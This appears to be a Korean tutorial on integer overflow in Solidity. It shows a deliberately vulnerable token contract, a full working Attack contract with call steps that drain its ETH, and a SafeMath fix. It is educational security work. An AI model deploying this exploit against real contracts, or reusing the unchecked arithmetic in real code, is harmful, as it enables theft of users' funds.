번역 및 내용을 추가하여 작성하였습니다.
다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.
사용자가 Moon 토큰을 구매하거나 판매할 수 있는 InsecureMoonToken Contract입니다.
pragma solidity 0.6.12;
contract InsecureMoonToken {
mapping (address => uint256) private userBalances;
uint256 public constant TOKEN_PRICE = 1 ether;
string public constant name = "Moon Token";
string public constant symbol = "MOON";
// The token is non-divisible
// You can buy/sell 1, 2, 3, or 46 tokens but not 33.5
uint8 public constant decimals = 0;
function buy(uint256 _tokenToBuy) external payable {
require(
msg.value == _tokenToBuy * TOKEN_PRICE,
"Ether received and Token amount to buy mismatch"
);
userBalances[msg.sender] += _tokenToBuy;
}
function sell(uint256 _tokenToSell) external {
require(userBalances[msg.sender] >= _tokenToSell, "Insufficient balance");
userBalances[msg.sender] -= _tokenToSell;
(bool success, ) = msg.sender.call{value: _tokenToSell * TOKEN_PRICE}("");
require(success, "Failed to send Ether");
}
function getEtherBalance() external view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) external view returns (uint256) {
return userBalances[_user];
}
}
buy()
함수에 엄청난 양의 토큰을 입력하는 경우를 생각해보겠습니다. 어떤 일이 일어날까요?2 * 2^255의 경우 그림에서 볼 수 있듯이 계산된 값이 다시 0으로 돌아갑니다.
require(
msg.value == _tokenToBuy * TOKEN_PRICE,
"Ether received and Token amount to buy mismatch"
);
Overflow 공격을 하면 공격자는 소량의 ETH만 사용하여 대량의 Moon Token을 구매할 수 있습니다.
또한 공격자는 단 한번의 Sell 거래로 “InsecureMoonToken” Contract에 있는 모든 ETH를 훔칠 수도 있습니다.
아래 코드는 “InsecureMoonToken” Contract를 공격할 수 있는 Contract입니다.
pragma solidity 0.6.12;
interface IMoonToken {
function buy(uint256 _tokenToBuy) external payable;
function sell(uint256 _tokenToSell) external;
function getEtherBalance() external view returns (uint256);
}
contract Attack {
uint256 private constant MAX_UINT256 = type(uint256).max;
uint256 public constant TOKEN_PRICE = 1 ether;
IMoonToken public immutable moonToken;
constructor(IMoonToken _moonToken) public {
moonToken = _moonToken;
}
receive() external payable {}
function calculateTokenToBuy() public pure returns (uint256) {
// Calculate an amount of tokens that makes an integer overflow
return MAX_UINT256 / TOKEN_PRICE + 1;
}
function getEthersRequired() public pure returns (uint256) {
uint256 amountToBuy = calculateTokenToBuy();
// Ether (in Wei) required to submit to invoke the attackBuy() function
return amountToBuy * TOKEN_PRICE;
}
function attackBuy() external payable {
require(getEthersRequired() == msg.value, "Ether received mismatch");
uint256 amountToBuy = calculateTokenToBuy();
moonToken.buy{value: msg.value}(amountToBuy);
}
function calculateTokenToSell() public view returns (uint256) {
// Calculate the maximum Ethers that can drain out
return moonToken.getEtherBalance() / TOKEN_PRICE;
}
// Maximum Ethers that can drain out = moonToken.balance / 10 ** 18 only,
// since moonToken.decimals = 0 and 1 token = 1 Ether always
// (The token is non-divisible. You can buy/sell 1, 2, 3, or 46 tokens but not 33.5.)
function attackSell() external {
uint256 amountToSell = calculateTokenToSell();
moonToken.sell(amountToSell);
}
function getEtherBalance() external view returns (uint256) {
return address(this).balance;
}
}
InsecureMoonToken을 공격하려면 공격자는 다음 작업을 수행해야합니다.
- Call:
ethersRequired = attack.getEthersRequired()
”buy” 공격을 완료하는 데 필요한 ETH수를 계산합니다.- Call:
attack.attackBuy() and supplies the ethersRequired
Overflow 공격을 악용하여 ETH 몇 개를 사용하지만 그 대가로 막대한 Moon Token을 가져갑니다.- Call:
attack.attackSell()
InsecureMoonToken Contract에 있는 ETH를 훔치기위함
보시다시피 공격자는 0.415 ETH만 사용하여 30 ETH를 훔칠 수 있었습니다.
공격의 또 다른 결과로, InsecureMoonToken이 기록한 공격자의 잔액이 엄청나게 조작된 것을 확인할 수 있습니다.
공격자가 입금한 0.415 ETH은 소수점인 0인 분할 불가능한 토큰이므로 더 이상 출금할 수 없는 상태로 잠긴 것을 확인할 수 있습니다. 즉, 0.415 ETH로 0.415 Moon 토큰을 판매할 수 없습니다.
실제로 공격자는 0.585 ETH를 추가로 제출하여 컨트랙트를 잠그는 다른 트릭을 사용할 수 있습니다. 이렇게하면 공격자는 1 ETH를 1 Moon 토큰과 교환하여 잠긴 1 ETH를 인출할 수 있습니다. 이부분은 다음 글에서 설명해드리겠습니다.
Overflow 문제를 해결하기 위한 두 가지 예방책이 있습니다.
pragma solidity 0.6.12;
// Simplified SafeMath
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
}
contract FixedMoonToken {
using SafeMath for uint256;
mapping (address => uint256) private userBalances;
uint256 public constant TOKEN_PRICE = 1 ether;
string public constant name = "Moon Token";
string public constant symbol = "MOON";
// The token is non-divisible
// You can buy/sell 1, 2, 3, or 46 tokens but not 33.5
uint8 public constant decimals = 0;
function buy(uint256 _tokenToBuy) external payable {
require(
msg.value == _tokenToBuy.mul(TOKEN_PRICE), // FIX: Apply SafeMath
"Ether received and Token amount to buy mismatch"
);
userBalances[msg.sender] = userBalances[msg.sender].add(_tokenToBuy); // FIX: Apply SafeMath
}
function sell(uint256 _tokenToSell) external {
require(userBalances[msg.sender] >= _tokenToSell, "Insufficient balance");
userBalances[msg.sender] = userBalances[msg.sender].sub(_tokenToSell); // FIX: Apply SafeMath
(bool success, ) = msg.sender.call{value: _tokenToSell.mul(TOKEN_PRICE)}(""); // FIX: Apply SafeMath
require(success, "Failed to send Ether");
}
function getEtherBalance() external view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) external view returns (uint256) {
return userBalances[_user];
}
}